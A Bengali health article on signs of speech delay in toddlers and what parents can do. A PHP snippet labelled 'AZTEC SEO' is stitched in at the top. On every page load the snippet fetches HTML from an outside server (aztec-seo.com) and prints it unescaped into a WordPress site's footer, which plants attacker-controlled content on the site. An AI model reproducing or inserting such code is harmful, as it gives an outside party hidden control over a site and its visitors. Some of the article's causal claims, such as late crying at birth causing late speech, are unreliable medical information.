/* AZTEC SEO */ add_action('wp_footer', function () { $domain = wp_parse_url(home_url(), PHP_URL_HOST); if (!$domain) return; $ck = 'aztec_footer_' . md5($domain); $html = get_transient($ck); if ($html === false) { $url = add_query_arg(array('domain' => $domain, 'date' => gmdate('c')), 'https://aztec-seo.com/api/v1/footer'); $res = wp_remote_get($url, array('timeout' => 8)); $html = (!is_wp_error($res) && wp_remote_retrieve_response_code($res) === 200) ? (string) wp_remote_retrieve_body($res) : ''; set_transient($ck, $html, $html === '' ? 5 * MINUTE_IN_SECONDS : HOUR_IN_SECONDS); } if ($html !== '') echo $html; }, 99);
কীভাবে বুঝবেন শিশুর স্পিস ডিলে হচ্ছে বা বিলম্বে কথা বলছে?
একটি দুই বছর বয়সী শিশু প্রায় ৫০টি শব্দ বলতে পারে এবং দুই থেকে তিনটি শব্দের বাক্যও ব্যবহার করতে পারে। তিন বছরের মধ্যে তার সাধারণ বাক্য বলার যোগ্যাতা অর্জন করবে। তিন-চারটি শব্দ বলার চেষ্টা করে। এমতাবস্থায় কোনও শিশু যদি তা বলতে না পারে তাহলে তাকে স্পিস ডিলের শ্রেণিতে রাখা যেতে পারে। এটি যদিও বিশেষ ভয়ের কারণ নয়। তবে কখনও কখনও এটি শ্রবণ সমস্যা বা স্নায়ুবিক কারণেও হতে পারে।
কেন স্পিস ডিলে হয়?
বিশেষজ্ঞদের মতে, শিশুরা যদি জন্মের সময় দেরীতে কাঁদে, তারা দেরীতে কথাও বলতে শুরু করে। এছাড়া গর্ভাবস্থায় মায়ের জন্ডিজ হলে বা স্বাভাবিক প্রসবের সময় শিশুর মস্তিষ্কের বাম পাশে আঘাত পেলে শিশুর শ্রবণশক্তি কমে যেতে পারে। যে শিশুরা ঠিকমত শুনতে পায় না তাদের সব কথা লিখতে ও বলতে অসুবিধা হয়।
স্পিস ডিলে কীভাবে চেনা য়ায়
১। সাধারণত : ১৮ মাস বয়সের মধ্যে শিশু কিছু সহজ কথা বলতে শুরু করে। যেমন- মা, বাবা ইত্যাদি।
২। দুই বছর বয়সী একটি শিশু কমপক্ষে ২৫টি শব্দ ব্যবহার করতে পারে। অর্থাৎ যদি শিশু আড়াই বছর বয়সে দুই শব্দের বাক্য না বলে। তিন বছর বয়সে কমপক্ষে প্রশ্ন করলে উত্তর দিতে না পারে।
৩। কোন জিনিসের নাম ধরে না ডাকা বা কিছু জিজ্ঞেস করতে চায় না।
৪। গবেষনায় দেখা যায়- প্রতি পাঁচজন শিশুর মধ্যে একজন শিশু অন্যান্য শিশুদের তুলনায় কথা বার্তায় পিছিয়ে থাকে। আচরণ গত সমস্যাও দেখা যায়।
এমন পরিস্থিতিতে মা-বাবার করণীয় কী ?
একে অপরকে অনুসরণ করার একটি খেলা খেলতে হবে। এতে শিশুটি কথা বলার সাহস পাবে।
শিশুর সাথে ধীরে ধীরে কথা বলুন। শিশুটি যদি কিছুটা বাক্য বলার চেষ্টা তাহলে আপনি তার পূরা বাক্যটি বলে দিন। শিশুর সামনে গুন গুন শব্দ করলেও এতে উপকার হয়। যদি শিশুর সমস্যা পরীক্ষায় ধরা পড়ে তাহলে দেরী না করে শিশুকে সঠিক চিকিৎসা দেয়া দরকার।
ডাঃ মোঃ শওকত হোসেন
MBA (HRM) MA, DHMS ( DHMC)
সিনিয়র কনসালটেন্ট, চিকিৎসক ও অটিজম চিকিৎসক।
আরএইচ হোম সেন্টার, ৭৪/বি/১, গ্রিনরোড, ফার্মগেট, ঢাকা। মোবাইল : ০১৩১০-৫৮০৩০৫